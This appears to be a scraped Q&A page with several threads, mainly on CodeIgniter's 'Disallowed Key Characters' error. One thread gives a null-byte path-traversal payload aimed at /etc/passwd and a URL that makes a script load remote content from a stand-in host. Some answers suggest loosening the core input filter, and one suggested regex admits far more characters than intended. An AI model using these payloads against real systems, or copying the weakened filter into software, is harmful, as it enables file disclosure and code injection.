Is there a way to find what part of my code is causing the Disallowed Key Characters error in Codeigniter?
It's could be a "bad" form input name that you are trying to run through the Form_validation library. This is the only time I've had this issue, but it could be a $_GET key as well.
Without more details from you, it's hard to say - but there's a good place to check.
Wesley,
I have no idea if this will be your answer, but I figured I would contribute it just in case someone also had the same error as myself.
I think I have gotten this error when I had a dis-allowed character in a url string. It turned out that I had a underscore character in one of my controller class names.
I believe there is a setting in the config file for codeigniter where you can specify allowed characters in the URL string.
I am at work and don't have access to a copy of the Code Igniter files, but when I searched the CI website I did find this:
CodeIgniter Changelog
In the change log notes for version 1.4.0 they mention that they moved the "allowed characters" settings out of "routes.php" file and into the "config.php" file. The actual line says:
Moved the list of "allowed URI
characters" out of the Router class
and into the config file.
I believe the list of "allowed URI charcters" is an array that specifies what characters can be used in naming conventions for URL/URI. You might want to check your config.php file and see what characters are currently allowed and see if you are using any of those not allowed characters in your URI, as this could also potentially trigger your error.
Good luck!
Edit: In the change log for version 1.7.1 they mention this:
A "HTTP/1.1 400 Bad Request" header is
now sent when disallowed characters
are encountered.
Related
For example, there is function (pseudo code):
if ($_GET['path'] ENDS with .mp3 extension) { read($_GET['path']); }
but is it possible, that hacker in a some way, used a special symbol/method, i.e.:
path=file.php^example.mp3
or
path=file.php+example.mp3
or etc...
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
p.s. DONT POST ANSWERS about PROTECTION! I NEED TO KNOW IF THIS CODE can be bypassed, as I AM TO REPORT MANY SCRIPTS for this issue (if this is really an issue).
if something such symbol exists in php, as after that symbol, everything was ignored, and PHP tried to open file.php..
Yes, such a symbol exists; it is called the 'null byte' ("\0").
Because in C (the language used to write the PHP engine) the end of a 'string' is signalled by the null byte. So, whenever a null byte is encountered, the string will end.
If you want the string to end with .mp3 you should manually append it.
Having said that, it is, generally speaking, a very bad idea to accept a user supplied path from a security standpoint (and I believe you are interested in the security aspect of this, because you originally posted this question on security.SE).
Consider the situation where:
$_GET['path'] = "../../../../../etc/passwd\0";
or a variation on this theme.
The leading concept in programming is "Don't trust user input". So the main problem in your case is not a special character its how you work with your data. So you shouldn't use a path given by a user because the user can manipulate the path or other variables.
To escape a user input to prevent bad characters you can use htmlspecialchars or you can filter your get input with filter_input something like that:
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
WE CAN'T TELL IF YOU IF THE CODE CAN BE "BYPASSED" BECAUSE YOU'VE NOT GIVEN US ANY PHP CODE
As to the question of whether its possible to trick PHP into processing a file it shouldn't based on the end of the string, then the answer is only if there is another file somewhere else which has the same ending. However, by default, PHP will happily read from URLs using the same functionality as reading from local files, consider:
http://yourserver.com/yourscript.php?path=http%3A%2F%2Fevilserver.com%2Fpwnd_php.txt%3Ffake_end%3Dmp3
I am getting the following message: Disallowed Key Characters and the string producing the message seems to be
__utmt_~42
I am just trying to load the page and for the life of me can't figure out why this is happening. It started out of nowhere. How can I locate the source of this?
Follow the following steps
Search for function _clean_input_keys on /system/core/Input.php
update this exit(‘Disallowed Key Characters.’); to exit(‘Disallowed Key Characters.’ . $str);
Had a similar problem, so, for the sake of Google search results:
__utmt is a cookie. More specificly, a Google Analytics cookie. The ~Number part probably means it's a copy/duplicate. Think of it like the word.doc~1 files that are stored on your computer when working in a Word doc.
So first, check your Analytics code on the website, is there a duplicate somewhere?
My problem was solved by altering this duplicated line:
var pageTracker = _gat._getTracker("UA-1234567-89");
var pageTracker = _gat._getTracker("UA-1234567-89");
Weird thing is that the file always had this duplicated line of code, for as far as my GIT goes back. It might be a change in the way analytics code handles cookies...
Oh, and the "Disallowed Key Characters" part. That's normally a good thing, protecting your CI app against evil.
Its in the system\core\Input.php file.
if ( ! preg_match("/^[a-z0-9:_\/-]+$/i", $str)) {
// there is no ~ in this regex pattern
// You could add it, but you probably end up breaking other stuff ("/^[\w:~\/]+$/i")
exit('Disallowed Key Characters');
}
Change on system/core/Input.php
if ( ! preg_match("/^[a-z0-9:_\/-]+$/i", $str))
{
exit('Disallowed Key Characters.');
}
to
if ( ! preg_match("/^[a-z0-9:_\/-~]+$/i", $str))
{
exit('Disallowed Key Characters.');
}
I was just going to comment, but I do not have enough reputation, apparently. I had a similar problem this morning. It was being caused by a cookie (__utmt_~1). My site does create a cookie called __utmt but not with the single underscore, tilde and 1. I suspect that __utmt_~1 is a duplicate of the original cookie, but I am not sure how it was created. However - clearing my cookies stopped the Disallowed Key Characters message.
In case you have this problem with recaptcha of google
(POST variable named g-recaptcha-response)
in my case was solved adding a escaped hyphen at the end of the listed characters
like this:
if ( ! preg_match("/^[~a-z0-9:_\/-\|\-]+$/i", $str)){
to the file system/core/Input.php
Though its a old post, its still relevant today as the message is cryptic and brings the website to its knees in no time.
In my case, in the test system, all of a sudden, started receiving this message for every page that gets an user input through GET/POST. Later found that to be the result of additional filter I added recently to the php.ini as below, which promised, to configure the default filter to behave exactly like htmlspecialchars().
[filter]
filter.default = full_special_chars
filter.default_flags = 0
On removing these filters from the php.ini file, the error was gone. Hope this helps somebody who encounters the same problem.
By default, CodeIgniter blocks %27 (') from appearing in URLs. I have commented out the entire $config['permitted_uri_chars'] directive as a result. However, when I am now parsing part of the URL as a method argument that contains %27, or any other URL encoded portion, CodeIgniter converts it into a plain ?, before I can even run rawurledcode() on it. How can I stop it from doing this? We're using CI v1.7.x.
Here is some simple code to show it:
In the "Program" controller:
function test($parameter)
{
echo $parameter;
}
Then we load http://example.com/program/test/o%27clock, and we get:
o?clock
I expected o'clock or at least o%27clock which I could just rawurldecode() with to get o'clock.
UPDATE: Unfortunately, I was wrong. It was not being caused by CodeIgniter. Rather, the presences of suhosin was doing the substitution.
The problem wasn't CodeIgniter. It was suhosin.
I'm trying send an HTML string from the client to the server via ajax. I keep getting "disallowed key characters" error. So I took this $config['permitted_uri_chars'] = 'a-z 0-9~%.:_\-'; and set it to nothing $config['permitted_uri_chars'] = ''; Since CodeIgniter says Leave blank to allow all characters -- but only if you are insane. But I still get Disallowed Key Characters error.
This is how I'm trying to send it:
var content = '<p class="MsoNormal">Hi {$first_name}</p>\n<p class="MsoNormal">My name is Bill, etc etc.</p>';
$.get('/task/preview_template', {content:content}, function(data) {
console.log(data); //Disallowed Key Characters
});
_clean_input_keys is your likely culprit for what's throwing the error, and you have a large number of characters that fall outside of the allowed characters of "/^[a-z0-9:_\/-]+$/i".
There are a few ways that I can think of that might handle this:
Modify _clean_input_keys so that it accepts the extra characters. This, of course, is an internal function for a reason and shouldn't be changed unless you know what you're doing. (Alternatively, you may be able to modify it to allow the special characters for HTML encoding and HTML encode the string. This helps mitigate the compromise to security that comes with adding such characters to _clean_input_keys.)
Encode your string before sending it, then decode it on the server side. This is a little more work on both your part, and that of the computers involved, but it keeps _clean_input_keys intact, and should allow you to send your string up, if you can find an encoding that is reliable in both directions and doesn't produce any disallowed characters. Since you're using GET, you may also run into GET input limits on not only the server, but browser-side, as well.
Use POST instead of GET and send your content as a data object. Then just use the $_POST variable on the server, instead of $_GET. While this may work, it is a bit unorthodox and nonstandard usage of the REST verbs.
Store your template content on the server, and reference it by name, instead of storing it in the JavaScript. This, of course, only works if you're not generating your template content on the fly in the JavaScript. If you're using the same template(s) in all of your JavaScript calls, though, then there's really no reason to send that information from JavaScript to begin with.
I'm using cakephp. In my users model I allow ppl to upload a pic. Once it uploads ok I save the url of the pic to $this->data['User']['image_url'] and save it. To upload I use the kind advice given here: http://www.jamesfairhurst.co.uk/posts/view/uploading_files_and_images_with_cakephp
After the upload is done I want to resize the photo so I have a thumbnail. I'm using the advice here: http://bakery.cakephp.org/articles/Perkster/2008/04/12/image-resizer-crop
All is ok, except for the value in $this->data['User']['image_url'] looks like files/photos/userimage.jpg
The upload script I'm using seems to be expecting the urls with backslashes rather than forward ones coz when I run it I get the error
getimagesize(C:\xampp\htdocs\MyNewSite\app\webroot\img\files/photos\$image_name) [function.getimagesize]: failed to open stream:
What can I do to fix this?
The slashes are not the problem, the $image_name is. It's impossible to tell without seeing the code, but you probably are using single quotes when assigning the file name, leading to the variable not getting parsed properly.
Windows accepts both directory separators \ and /, thus the problem must be somewhere else. This is taken from the error message
C:\xampp\htdocs\MyNewSite\app\webroot\img\files/photos\$image_name
I assume, that there is no file $image_name ;) It seems, that you didnt let PHP evaluate the variables when calling getimagesize()